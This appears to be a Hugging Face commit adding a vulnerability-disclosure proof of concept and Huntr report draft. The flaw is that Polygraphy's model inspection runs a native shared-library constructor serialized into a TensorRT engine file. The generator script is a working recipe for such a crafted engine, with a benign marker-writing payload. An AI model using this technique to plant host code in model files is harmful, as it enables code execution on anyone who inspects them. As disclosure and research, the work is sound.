noshkas commited on
Commit
5c17b14
·
verified ·
1 Parent(s): 5935144

Add TensorRT Polygraphy serialized plugin ACE PoC

Browse files
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ model.engine filter=lfs diff=lfs merge=lfs -text
README.md ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TensorRT Polygraphy Serialized Plugin ACE PoC
2
+
3
+ This repository contains a benign proof-of-concept TensorRT engine for a Huntr model-file vulnerability report.
4
+
5
+ The key artifact is `model.engine`. It is a TensorRT version-compatible serialized engine that carries a serialized native shared library. The library constructor only writes a marker file when the environment variable `TRT_PLUGIN_MARKER` is set.
6
+
7
+ Do not run this outside an isolated test environment.
8
+
9
+ ## Expected Behavior
10
+
11
+ Running Polygraphy's normal inspection command against `model.engine` executes the embedded constructor before TensorRT rejects the intentionally incomplete plugin library:
12
+
13
+ ```bash
14
+ cd "$RUN_DIR"
15
+ python3 -m venv .venv
16
+ . .venv/bin/activate
17
+ python -m pip install --upgrade pip wheel setuptools
18
+ python -m pip install polygraphy==0.49.26 tensorrt-cu12==10.16.1.11 tensorrt-lean-cu12==10.16.1.11
19
+
20
+ export LD_LIBRARY_PATH="$RUN_DIR/.venv/lib/python3.12/site-packages/tensorrt_lean_libs:${LD_LIBRARY_PATH:-}"
21
+ export TRT_PLUGIN_MARKER="$RUN_DIR/marker.txt"
22
+ rm -f "$TRT_PLUGIN_MARKER"
23
+ polygraphy inspect model "$RUN_DIR/model.engine"
24
+ cat "$TRT_PLUGIN_MARKER"
25
+ ```
26
+
27
+ Expected marker:
28
+
29
+ ```text
30
+ marker_constructor pid=<pid> time=<timestamp>
31
+ ```
32
+
33
+ Polygraphy may still exit with an inspection/deserialization error similar to:
34
+
35
+ ```text
36
+ SymbolAddress for getCreators could not be loaded
37
+ Could not deserialize engine. See log for details.
38
+ ```
39
+
40
+ That failure happens after the constructor has already executed.
41
+
42
+ ## Why This Matters
43
+
44
+ Polygraphy enables `runtime.engine_host_code_allowed = True` before deserializing engine bytes. TensorRT version-compatible engines can serialize plugin shared libraries. Together, this means a model inspection workflow can execute host code embedded in a model file.
45
+
46
+ This PoC is specifically about Polygraphy's auto-trust behavior during `polygraphy inspect model model.engine`, not an application that explicitly opts into TensorRT host code execution itself.
47
+
48
+ ## Files
49
+
50
+ - `model.engine` - crafted TensorRT engine PoC.
51
+ - `trt_serialized_plugin_marker_probe.py` - reproducible generator/validator used to create the proof.
52
+ - `evidence/` - local proof logs and negative-control outputs.
53
+
54
+ ## Engine Hash
55
+
56
+ ```text
57
+ SHA256: 777cdecefc51699d43862522dd7ea92ec377f2dd9b25d40aa00b72edd74ad758
58
+ Size: 111219596 bytes
59
+ ```
evidence/inferred_type_marker.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ marker_constructor pid=1356 time=1778690022
evidence/inferred_type_polygraphy.stderr ADDED
@@ -0,0 +1 @@
 
 
1
+ [!] Could not deserialize engine. See log for details.
evidence/inferred_type_polygraphy.stdout ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ [W] 'colored' module is not installed, will not use colors when logging. To enable colors, please install the 'colored' module: python3 -m pip install colored
2
+ [I] Loading bytes from $RUN_DIR/isolated-run/model.engine
3
+ [E] IRuntime::deserializeCudaEngine: Error Code 3: API Usage Error (SymbolAddress for getCreators could not be loaded, check function name against library symbol In untypedSymbolAddress at /_src/runtime/dispatch/libLoader.cpp:378)
4
+ [E] [dispatchClasses.cpp::deserializeCudaEngine::1899] Error Code 2: Internal Error (Assertion engine != nullptr failed. Engine deserialization failed. In deserializeCudaEngine at /_src/runtime/dispatch/dispatchClasses.cpp:1899)
5
+ [E] [runtime.cpp::deserializeCudaEngineEx::264] Error Code 2: Internal Error (Assertion iEngine failed. In deserializeCudaEngineEx at /_src/runtime/dispatch/runtime.cpp:264)
evidence/isolated_marker.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ marker_constructor pid=1209 time=1778689895
evidence/negative_no_plugin_polygraphy.stderr ADDED
File without changes
evidence/negative_no_plugin_polygraphy.stdout ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [W] 'colored' module is not installed, will not use colors when logging. To enable colors, please install the 'colored' module: python3 -m pip install colored
2
+ [I] Loading bytes from $RUN_DIR/cases/vc_embedded_lean_runtime.engine
3
+ [W] hasImplicitBatchDimension is deprecated and always return false.
4
+ [I] ==== TensorRT Engine ====
5
+ Name: Unnamed Network 0 | Explicit Batch Engine
6
+
7
+ ---- 1 Engine Input(s) ----
8
+ {x [dtype=float32, shape=(1, 1)]}
9
+
10
+ ---- 1 Engine Output(s) ----
11
+ {y [dtype=float32, shape=(1, 1)]}
12
+
13
+ ---- Memory ----
14
+ Device Memory: 0 bytes
15
+
16
+ ---- 1 Profile(s) (2 Tensor(s) Each) ----
17
+ - Profile: 0
18
+ Tensor: x (Input), Index: 0 | Shapes: min=(1, 1), opt=(1, 1), max=(1, 1)
19
+ Tensor: y (Output), Index: 1 | Shape: (1, 1)
20
+
21
+ ---- 1 Layer(s) ----
evidence/trt_serialized_plugin_marker_probe.json ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "build": {
3
+ "path": "cases/vc_serialized_marker_plugin.engine",
4
+ "plugins_to_serialize": [
5
+ "plugin-work/libmarker_payload.so"
6
+ ],
7
+ "size": 111219596
8
+ },
9
+ "compile": {
10
+ "cmd": [
11
+ "g++",
12
+ "-shared",
13
+ "-fPIC",
14
+ "-O2",
15
+ "plugin-work/marker_payload.cpp",
16
+ "-o",
17
+ "plugin-work/libmarker_payload.so"
18
+ ],
19
+ "returncode": 0,
20
+ "stderr_tail": "",
21
+ "stdout_tail": ""
22
+ },
23
+ "deserialize_false": {
24
+ "allow_host_code": false,
25
+ "exception": null,
26
+ "marker_after": "",
27
+ "marker_changed": false,
28
+ "ok": false
29
+ },
30
+ "deserialize_true": {
31
+ "allow_host_code": true,
32
+ "exception": null,
33
+ "marker_after": "marker_constructor pid=1115 time=1778689845\n",
34
+ "marker_changed": true,
35
+ "ok": false
36
+ },
37
+ "plugin_lib": "plugin-work/libmarker_payload.so",
38
+ "plugin_removed_before_load": {
39
+ "moved_exists": true,
40
+ "moved_to": "plugin-work/libmarker_payload.removed",
41
+ "original_exists": false
42
+ },
43
+ "polygraphy_inspect": {
44
+ "cmd": [
45
+ "polygraphy",
46
+ "inspect",
47
+ "model",
48
+ "cases/vc_serialized_marker_plugin.engine",
49
+ "--model-type=engine",
50
+ "--show",
51
+ "attrs"
52
+ ],
53
+ "marker_after": "marker_constructor pid=1115 time=1778689845\nmarker_constructor pid=1185 time=1778689847\n",
54
+ "marker_changed": true,
55
+ "returncode": 1,
56
+ "stderr_tail": "[!] Could not deserialize engine. See log for details.\n",
57
+ "stdout_tail": "[W] 'colored' module is not installed, will not use colors when logging. To enable colors, please install the 'colored' module: python3 -m pip install colored\n[I] Loading bytes from $RUN_DIR/cases/vc_serialized_marker_plugin.engine\n[E] IRuntime::deserializeCudaEngine: Error Code 3: API Usage Error (SymbolAddress for getCreators could not be loaded, check function name against library symbol In untypedSymbolAddress at /_src/runtime/dispatch/libLoader.cpp:378)\n[E] [dispatchClasses.cpp::deserializeCudaEngine::1899] Error Code 2: Internal Error (Assertion engine != nullptr failed. Engine deserialization failed. In deserializeCudaEngine at /_src/runtime/dispatch/dispatchClasses.cpp:1899)\n[E] [runtime.cpp::deserializeCudaEngineEx::264] Error Code 2: Internal Error (Assertion iEngine failed. In deserializeCudaEngineEx at /_src/runtime/dispatch/runtime.cpp:264)\n"
58
+ },
59
+ "python": "3.12.3 (main, Aug 14 2025, 17:47:21) [GCC 13.3.0]",
60
+ "source": "plugin-work/marker_payload.cpp",
61
+ "tensorrt_version": "10.16.1.11"
62
+ }
huntr-submission-draft.md ADDED
@@ -0,0 +1,186 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Huntr Submission Draft: TensorRT Polygraphy Serialized Plugin ACE
2
+
3
+ ## Recommended Category
4
+
5
+ Model File Vulnerability - Arbitrary Code Execution at model load/inspection time.
6
+
7
+ Frame this as TensorRT `.engine` load-time ACE through a common model inspection tool. Do not frame it as a generic TensorRT library misuse or as a low-value scanner coverage gap.
8
+
9
+ ## Title
10
+
11
+ Polygraphy auto-enables trusted TensorRT plan host code, executing serialized plugin constructors from a `.engine` file during inspection
12
+
13
+ ## Target
14
+
15
+ TensorRT serialized engine (`.engine`, `.trt`, `.mytrtfile`) - NVIDIA
16
+
17
+ ## Severity
18
+
19
+ Critical
20
+
21
+ ## Public PoC Model Repository
22
+
23
+ https://huggingface.co/noshkas/tensorrt-polygraphy-serialized-plugin-ace-poc
24
+
25
+ ## Summary
26
+
27
+ Polygraphy's TensorRT engine loader enables `runtime.engine_host_code_allowed = True` before deserializing arbitrary engine bytes. TensorRT version-compatible plans can serialize plugin shared libraries into the engine file. A crafted `.engine` file can therefore carry a native shared object whose constructor executes during a normal model inspection command:
28
+
29
+ ```bash
30
+ cd "$RUN_DIR"
31
+ polygraphy inspect model model.engine
32
+ ```
33
+
34
+ In the PoC, the embedded native constructor writes a harmless marker file when `TRT_PLUGIN_MARKER` is set. The original plugin `.so` was removed from disk before inspection, and the isolated directory contained only `model.engine`, proving the code was loaded from the engine file. Polygraphy still fails to deserialize the intentionally incomplete plugin after the constructor runs, so the user sees a failed inspection even though host code already executed.
35
+
36
+ This is specifically the Polygraphy auto-trust path during inspection. The victim does not explicitly call `IRuntime::setEngineHostCodeAllowed()` or provide a separate plugin library path.
37
+
38
+ ## Impact
39
+
40
+ An attacker can publish a malicious TensorRT engine that embeds native host code. A researcher, CI job, model registry, or security gate that uses Polygraphy to inspect community TensorRT engines can execute attacker-controlled native code simply by inspecting the model file.
41
+
42
+ Organizations using model inspection as a safety gate before loading community engines could pass a malicious file into Polygraphy and execute attacker-controlled code before any inspection result is returned.
43
+
44
+ ## Affected Versions Tested
45
+
46
+ - Polygraphy: `0.49.26`
47
+ - TensorRT Python package: `tensorrt-cu12==10.16.1.11`
48
+ - TensorRT lean runtime package: `tensorrt-lean-cu12==10.16.1.11`
49
+ - OS: Ubuntu 24.04
50
+ - GPU: NVIDIA GeForce RTX 5090
51
+ - Driver: 570.195.03
52
+ - Python: 3.12.3
53
+
54
+ ## Root Cause
55
+
56
+ Polygraphy reads the engine file bytes and then sets the TensorRT runtime trust flag before deserialization:
57
+
58
+ ```python
59
+ runtime.engine_host_code_allowed = True
60
+ ```
61
+
62
+ TensorRT documents `engine_host_code_allowed` as the flag required for trusted plans that may contain host code. TensorRT also documents `IBuilderConfig::setPluginsToSerialize` / `plugins_to_serialize`, which serializes plugin shared libraries into version-compatible engines. When such an engine is loaded with host code allowed, the serialized shared library is loaded and its constructor runs.
63
+
64
+ Polygraphy's default inspection workflow therefore turns a model file inspection into a host-code execution sink.
65
+
66
+ ## Reproduction Steps
67
+
68
+ Use an isolated CUDA/TensorRT host.
69
+
70
+ ```bash
71
+ cd "$RUN_DIR"
72
+ python3 -m venv .venv
73
+ . .venv/bin/activate
74
+ python -m pip install --upgrade pip wheel setuptools
75
+ python -m pip install polygraphy==0.49.26 tensorrt-cu12==10.16.1.11 tensorrt-lean-cu12==10.16.1.11
76
+ ```
77
+
78
+ Download the PoC model file from the public Hugging Face repository, then run:
79
+
80
+ ```bash
81
+ cd "$RUN_DIR"
82
+ export LD_LIBRARY_PATH="$RUN_DIR/.venv/lib/python3.12/site-packages/tensorrt_lean_libs:${LD_LIBRARY_PATH:-}"
83
+ export TRT_PLUGIN_MARKER="$RUN_DIR/marker.txt"
84
+ rm -f "$TRT_PLUGIN_MARKER"
85
+ polygraphy inspect model "$RUN_DIR/model.engine"
86
+ cat "$TRT_PLUGIN_MARKER"
87
+ ```
88
+
89
+ Expected marker output:
90
+
91
+ ```text
92
+ marker_constructor pid=<pid> time=<timestamp>
93
+ ```
94
+
95
+ Expected Polygraphy output also includes a deserialization failure:
96
+
97
+ ```text
98
+ SymbolAddress for getCreators could not be loaded
99
+ Could not deserialize engine. See log for details.
100
+ ```
101
+
102
+ The marker is written before that failure.
103
+
104
+ ## Reproduction From Generator Script
105
+
106
+ The included `trt_serialized_plugin_marker_probe.py` generates the engine and runs negative controls:
107
+
108
+ ```bash
109
+ cd "$RUN_DIR"
110
+ python trt_serialized_plugin_marker_probe.py --out results/trt_serialized_plugin_marker_probe.json
111
+ ```
112
+
113
+ The script:
114
+
115
+ 1. Builds a harmless native shared library with a constructor gated by `TRT_PLUGIN_MARKER`.
116
+ 2. Builds a version-compatible TensorRT engine with `config.plugins_to_serialize = ["libmarker_payload.so"]`.
117
+ 3. Removes the original `.so` before loading.
118
+ 4. Confirms `runtime.engine_host_code_allowed = False` does not execute the marker.
119
+ 5. Confirms `runtime.engine_host_code_allowed = True` executes the marker.
120
+ 6. Confirms `polygraphy inspect model model.engine` executes the marker.
121
+
122
+ ## Evidence
123
+
124
+ PoC engine:
125
+
126
+ ```text
127
+ SHA256: 777cdecefc51699d43862522dd7ea92ec377f2dd9b25d40aa00b72edd74ad758
128
+ Size: 111219596 bytes
129
+ ```
130
+
131
+ Primary result:
132
+
133
+ ```json
134
+ {
135
+ "deserialize_false": {
136
+ "allow_host_code": false,
137
+ "marker_changed": false,
138
+ "ok": false
139
+ },
140
+ "deserialize_true": {
141
+ "allow_host_code": true,
142
+ "marker_changed": true,
143
+ "ok": false
144
+ },
145
+ "polygraphy_inspect": {
146
+ "returncode": 1,
147
+ "marker_changed": true
148
+ }
149
+ }
150
+ ```
151
+
152
+ Isolated proof:
153
+
154
+ ```text
155
+ marker_constructor pid=1209 time=1778689895
156
+ ```
157
+
158
+ Default command proof, without `--model-type=engine`:
159
+
160
+ ```text
161
+ marker_constructor pid=1356 time=1778690022
162
+ ```
163
+
164
+ Negative control:
165
+
166
+ A version-compatible engine without a serialized plugin inspected successfully and did not create a marker.
167
+
168
+ ## Distinction From Nearby Pending Reports
169
+
170
+ Huntr's public TensorRT listings show pending report titles involving `IRuntime::loadRuntime()` and `setEngineHostCodeAllowed()`. The body/details are not public, so I cannot verify whether they cover this exact path.
171
+
172
+ This report is distinct because the trigger is Polygraphy's normal model-inspection command. The user does not explicitly opt into trusted host code. Polygraphy automatically sets the TensorRT trust flag and deserializes the model file, allowing a serialized plugin constructor embedded in the `.engine` to execute during inspection.
173
+
174
+ ## Official References
175
+
176
+ - Huntr Participation Guidelines: https://huntr.com/guidelines
177
+ - TensorRT `IBuilderConfig::setPluginsToSerialize`: https://docs.nvidia.com/deeplearning/tensorrt/latest/_static/c-api/classnvinfer1_1_1_i_builder_config.html
178
+ - TensorRT Plugin API serialized plugin library loading: https://docs.nvidia.com/deeplearning/tensorrt/latest/inference-library/plugins-api-migration.html
179
+ - TensorRT version-compatible plans and `engine_host_code_allowed`: https://docs.nvidia.com/deeplearning/tensorrt/10.13.3/inference-library/advanced.html
180
+ - Polygraphy loader source: https://docs.nvidia.com/deeplearning/tensorrt/latest/_static/polygraphy/_modules/polygraphy/backend/trt/loader.html
181
+
182
+ ## Suggested Remediation
183
+
184
+ Polygraphy should not silently enable `engine_host_code_allowed` for untrusted engine files. Require an explicit command-line opt-in such as `--allow-engine-host-code`, display a strong warning, and default to rejecting TensorRT plans that require host code during inspection.
185
+
186
+ For safer inspection workflows, parse metadata without deserializing host-code-carrying plans where possible, or run deserialization in a sandboxed worker with no filesystem/network access.
model.engine ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:777cdecefc51699d43862522dd7ea92ec377f2dd9b25d40aa00b72edd74ad758
3
+ size 111219596
trt_serialized_plugin_marker_probe.py ADDED
@@ -0,0 +1,212 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ import argparse
3
+ import json
4
+ import os
5
+ import shutil
6
+ import subprocess
7
+ import sys
8
+ import textwrap
9
+ from pathlib import Path
10
+
11
+ import tensorrt as trt
12
+
13
+
14
+ C_SOURCE = r"""
15
+ #include <stdio.h>
16
+ #include <stdlib.h>
17
+ #include <time.h>
18
+ #include <unistd.h>
19
+
20
+ __attribute__((constructor))
21
+ static void marker_constructor(void) {
22
+ const char *path = getenv("TRT_PLUGIN_MARKER");
23
+ if (!path || !path[0]) {
24
+ return;
25
+ }
26
+ FILE *f = fopen(path, "a");
27
+ if (!f) {
28
+ return;
29
+ }
30
+ time_t now = time(NULL);
31
+ fprintf(f, "marker_constructor pid=%ld time=%ld\n", (long)getpid(), (long)now);
32
+ fclose(f);
33
+ }
34
+
35
+ extern "C" int trt_marker_export(void) {
36
+ return 1337;
37
+ }
38
+ """
39
+
40
+
41
+ def run(cmd, **kwargs):
42
+ proc = subprocess.run(cmd, text=True, capture_output=True, **kwargs)
43
+ return {
44
+ "cmd": cmd,
45
+ "returncode": proc.returncode,
46
+ "stdout_tail": proc.stdout[-4000:],
47
+ "stderr_tail": proc.stderr[-4000:],
48
+ }
49
+
50
+
51
+ def compile_marker_lib(work: Path):
52
+ src = work / "marker_payload.cpp"
53
+ lib = work / "libmarker_payload.so"
54
+ src.write_text(C_SOURCE)
55
+ result = run(["g++", "-shared", "-fPIC", "-O2", str(src), "-o", str(lib)])
56
+ if result["returncode"] != 0:
57
+ raise RuntimeError(json.dumps(result, indent=2))
58
+ return src, lib, result
59
+
60
+
61
+ def build_engine(path: Path, plugin_lib: Path):
62
+ logger = trt.Logger(trt.Logger.WARNING)
63
+ builder = trt.Builder(logger)
64
+ network = builder.create_network(
65
+ 1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
66
+ )
67
+ inp = network.add_input("x", trt.float32, (1, 1))
68
+ identity = network.add_identity(inp)
69
+ identity.get_output(0).name = "y"
70
+ network.mark_output(identity.get_output(0))
71
+
72
+ config = builder.create_builder_config()
73
+ config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 20)
74
+ config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE)
75
+ config.plugins_to_serialize = [str(plugin_lib)]
76
+
77
+ serialized = builder.build_serialized_network(network, config)
78
+ if serialized is None:
79
+ raise RuntimeError("failed to build serialized plugin engine")
80
+ path.write_bytes(bytes(serialized))
81
+ return {
82
+ "path": str(path),
83
+ "size": path.stat().st_size,
84
+ "plugins_to_serialize": [str(plugin_lib)],
85
+ }
86
+
87
+
88
+ def try_deserialize(path: Path, marker: Path, allow_host_code: bool):
89
+ logger = trt.Logger(trt.Logger.WARNING)
90
+ runtime = trt.Runtime(logger)
91
+ if hasattr(runtime, "engine_host_code_allowed"):
92
+ runtime.engine_host_code_allowed = allow_host_code
93
+
94
+ before = marker.read_text() if marker.exists() else ""
95
+ try:
96
+ engine = runtime.deserialize_cuda_engine(path.read_bytes())
97
+ ok = engine is not None
98
+ if engine is not None:
99
+ _ = engine.num_io_tensors
100
+ exc = None
101
+ except Exception as err:
102
+ ok = False
103
+ exc = f"{type(err).__name__}: {err}"
104
+ after = marker.read_text() if marker.exists() else ""
105
+ return {
106
+ "allow_host_code": allow_host_code,
107
+ "ok": ok,
108
+ "exception": exc,
109
+ "marker_changed": after != before,
110
+ "marker_after": after,
111
+ }
112
+
113
+
114
+ def polygraphy_inspect(path: Path, marker: Path):
115
+ env = os.environ.copy()
116
+ env["TRT_PLUGIN_MARKER"] = str(marker)
117
+ before = marker.read_text() if marker.exists() else ""
118
+ proc = subprocess.run(
119
+ [
120
+ "polygraphy",
121
+ "inspect",
122
+ "model",
123
+ str(path),
124
+ "--model-type=engine",
125
+ "--show",
126
+ "attrs",
127
+ ],
128
+ text=True,
129
+ capture_output=True,
130
+ timeout=90,
131
+ env=env,
132
+ )
133
+ after = marker.read_text() if marker.exists() else ""
134
+ return {
135
+ "cmd": [
136
+ "polygraphy",
137
+ "inspect",
138
+ "model",
139
+ str(path),
140
+ "--model-type=engine",
141
+ "--show",
142
+ "attrs",
143
+ ],
144
+ "returncode": proc.returncode,
145
+ "stdout_tail": proc.stdout[-4000:],
146
+ "stderr_tail": proc.stderr[-4000:],
147
+ "marker_changed": after != before,
148
+ "marker_after": after,
149
+ }
150
+
151
+
152
+ def main():
153
+ parser = argparse.ArgumentParser(
154
+ description="Test whether TensorRT serialized plugin libraries execute from an engine file."
155
+ )
156
+ parser.add_argument("--out", default="results/trt_serialized_plugin_marker_probe.json")
157
+ args = parser.parse_args()
158
+
159
+ out = Path(args.out)
160
+ base = out.parent.parent
161
+ work = base / "plugin-work"
162
+ cases = base / "cases"
163
+ out.parent.mkdir(parents=True, exist_ok=True)
164
+ work.mkdir(parents=True, exist_ok=True)
165
+ cases.mkdir(parents=True, exist_ok=True)
166
+
167
+ src, lib, compile_result = compile_marker_lib(work)
168
+ marker = out.parent / "serialized_plugin_marker.txt"
169
+ if marker.exists():
170
+ marker.unlink()
171
+
172
+ engine = cases / "vc_serialized_marker_plugin.engine"
173
+ result = {
174
+ "python": sys.version,
175
+ "tensorrt_version": trt.__version__,
176
+ "compile": compile_result,
177
+ "source": str(src),
178
+ "plugin_lib": str(lib),
179
+ }
180
+
181
+ try:
182
+ result["build"] = build_engine(engine, lib)
183
+ except Exception as err:
184
+ result["build_error"] = f"{type(err).__name__}: {err}"
185
+ out.write_text(json.dumps(result, indent=2, sort_keys=True))
186
+ print(json.dumps(result, indent=2, sort_keys=True))
187
+ return 2
188
+
189
+ removed_lib = work / "libmarker_payload.removed"
190
+ shutil.move(lib, removed_lib)
191
+ result["plugin_removed_before_load"] = {
192
+ "original_exists": lib.exists(),
193
+ "moved_to": str(removed_lib),
194
+ "moved_exists": removed_lib.exists(),
195
+ }
196
+
197
+ os.environ["TRT_PLUGIN_MARKER"] = str(marker)
198
+ result["deserialize_false"] = try_deserialize(
199
+ engine, marker, allow_host_code=False
200
+ )
201
+ result["deserialize_true"] = try_deserialize(
202
+ engine, marker, allow_host_code=True
203
+ )
204
+ result["polygraphy_inspect"] = polygraphy_inspect(engine, marker)
205
+
206
+ out.write_text(json.dumps(result, indent=2, sort_keys=True))
207
+ print(json.dumps(result, indent=2, sort_keys=True))
208
+ return 0
209
+
210
+
211
+ if __name__ == "__main__":
212
+ raise SystemExit(main())